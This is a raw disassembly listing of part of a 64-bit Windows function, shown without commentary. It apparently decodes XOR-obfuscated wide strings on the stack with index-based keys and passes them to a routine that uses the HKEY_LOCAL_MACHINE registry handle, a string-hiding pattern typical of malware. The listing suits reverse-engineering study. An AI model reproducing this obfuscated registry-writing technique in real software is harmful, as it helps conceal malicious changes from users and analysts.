movq xmm2, xmm9
pmuldq xmm0, xmm6
movq qword [rsp + 0x58], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm14, xmm0
pshufhw xmm0, xmm14, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, xmm5
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x60], xmm3
jmp 0x14001b7f6
lea r8, [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x14
jl 0x14001b540
lea r8, [rsp + 0x40]
jmp 0x14001b7f6
movups xmm0, xmmword [0x140029750]
movups xmm4, xmmword [0x140029740]
pextrw eax, xmm0, 7
movups xmmword [rsp + 0x40], xmm4
movups xmmword [rsp + 0x50], xmm0
test ax, ax
je 0x14001b7f1
mov ecx, ebx
cmp esi, 2
jge 0x14001b617
lea r8, [rsp + 0x40]
nop dword [rax]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x10
jl 0x14001b5b0
jmp 0x14001b7f1
movups xmm0, xmmword [0x140029750]
movups xmm4, xmmword [0x140029740]
pextrw eax, xmm0, 7
movups xmmword [rsp + 0x40], xmm4
movups xmmword [rsp + 0x50], xmm0
test ax, ax
je 0x14001b7f1
mov ecx, ebx
cmp esi, 2
jl 0x14001b7b7
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x40], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x48], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm3, xmm1, 0xd8
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
psubw xmm3, xmm2
xorps xmm3, xmm0
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
movq qword [rsp + 0x50], xmm3
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm12, xmm0
pshufhw xmm0, xmm12, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x58]
movq xmm2, xmm9
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x58], xmm3
jmp 0x14001b7f1
lea r8, [rsp + 0x40]
nop dword [rax]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x10
jl 0x14001b7c0
lea r8, [rsp + 0x40]
lea rdx, [rbp - 0x20]
mov rcx, r15
call fcn.140016330
mov r15d, 0xff8e
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movq xmm5, qword [0x14002bd38]
mov ecx, ebx
movzx eax, word [0x14002bd40]
movaps xmm14, xmmword [rsp + 0x300]
movaps xmm12, xmmword [rsp + 0x320]
mov r14, qword [rsp + 0x398]
mov rdi, qword [rsp + 0x3c8]
movq qword [rsp + 0x50], xmm5
mov word [rsp + 0x58], ax
movups xmm4, xmmword [0x14002bd28]
movups xmmword [rsp + 0x40], xmm4
cmp esi, 2
jl 0x14001b998
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
mov ecx, 0xc
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movq xmm2, xmm9
xorps xmm3, xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movq qword [rsp + 0x40], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm3, xmm1, 0xd8
movdqa xmm1, xmm10
psubw xmm3, xmm2
punpckldq xmm1, xmm10
xorps xmm3, xmm0
pmuldq xmm1, xmm6
movq qword [rsp + 0x48], xmm3
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movq xmm2, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm10, xmm0
pshufhw xmm0, xmm10, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, xmm5
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x50], xmm3
movaps xmm11, xmmword [rsp + 0x330]
lea r8, [rsp + 0x40]
movaps xmm10, xmmword [rsp + 0x340]
mov eax, ecx
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0xd
jl 0x14001b9c0
movups xmm0, xmmword [0x14002b880]
mov ecx, ebx
movups xmm1, xmmword [0x14002b890]
mov eax, dword [0x14002b8f0]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x14002b8a0]
movups xmmword [rbp], xmm0
movups xmm0, xmmword [0x14002b8c0]
movups xmmword [rbp - 0x10], xmm1
movups xmm1, xmmword [0x14002b8b0]
movups xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [0x14002b8e0]
movups xmmword [rbp + 0x10], xmm1
movups xmm1, xmmword [0x14002b8d0]
mov dword [rbp + 0x50], eax
movzx eax, word [0x14002b8f4]
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x30], xmm1
mov word [rbp + 0x54], ax
cmp esi, 2
jl 0x14001bb60
lea rdx, [rbp - 0x20]
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x38
jl 0x14001ba70
cmp ecx, 0x3b
jge 0x14001bba8
movsxd rax, ecx
lea r8, [rbp - 0x20]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x3b
jl 0x14001bb70
lea r8, [rsp + 0x40]
mov rcx, 0xffffffff80000002
lea rdx, [rbp - 0x20]
call fcn.140016330
mov eax, dword [0x14002a9c8]
mov edx, 0x44
movups xmm0, xmmword [0x14002a9b8]
movzx ecx, word [0x14002a9cc]
movups xmm1, xmmword [0x140029d00]
movups xmmword [rsp + 0x40], xmm0
xor word [rsp + 0x42], r12w
movups xmm0, xmmword [0x140029cf0]
xor word [rsp + 0x44], r13w
xor word [rsp + 0x46], r15w
mov r15, qword [rsp + 0x390]
mov r13, qword [rsp + 0x3a0]
mov r12, qword [rsp + 0x3d0]
mov dword [rsp + 0x50], eax
mov word [rsp + 0x40], dx
mov edx, 0xff8f
xor word [rsp + 0x48], dx
mov edx, 0xff90
xor word [rsp + 0x4a], dx
mov edx, 0xff91
xor word [rsp + 0x4c], dx
mov edx, 0xff92
xor word [rsp + 0x4e], dx
mov edx, 0xff93
xor ax, dx
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140029d10]
mov word [rsp + 0x50], ax
mov eax, 0xff94
xor word [rsp + 0x52], ax
mov eax, 0xff8b
xor cx, ax
movups xmmword [rbp - 0x10], xmm1
movups xmm1, xmmword [0x140029d20]
cmp esi, 2
mov eax, dword [0x140029d50]
mov rsi, qword [rsp + 0x3c0]
mov dword [rbp + 0x40], eax
movzx eax, word [0x140029d54]
movups xmmword [rbp], xmm0
movups xmm0, xmmword [0x140029d30]
movups xmmword [rbp + 0x10], xmm1
movups xmm1, xmmword [0x140029d40]
mov word [rbp + 0x44], ax
mov word [rsp + 0x54], cx
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm1
jl 0x14001bdc0
lea rcx, [rbp - 0x20]
nop word [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm7
add ebx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp ebx, 0x30
jl 0x14001bcd0
cmp ebx, 0x33
jge 0x14001be08
movsxd rax, ebx
lea r8, [rbp - 0x20]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, bx
add dx, dx
inc ebx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ebx, 0x33
jl 0x14001bdd0
lea r8, [rsp + 0x40]
mov rcx, 0xffffffff80000002
lea rdx, [rbp - 0x20]
call fcn.140016330
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140025fd0
lea r11, [rsp + 0x3a8]
movaps xmm6, xmmword [r11 - 0x28]
movaps xmm7, xmmword [r11 - 0x38]
movaps xmm8, xmmword [r11 - 0x48]
movaps xmm9, xmmword [r11 - 0x58]
mov rsp, r11
pop rbx
pop rbp
ret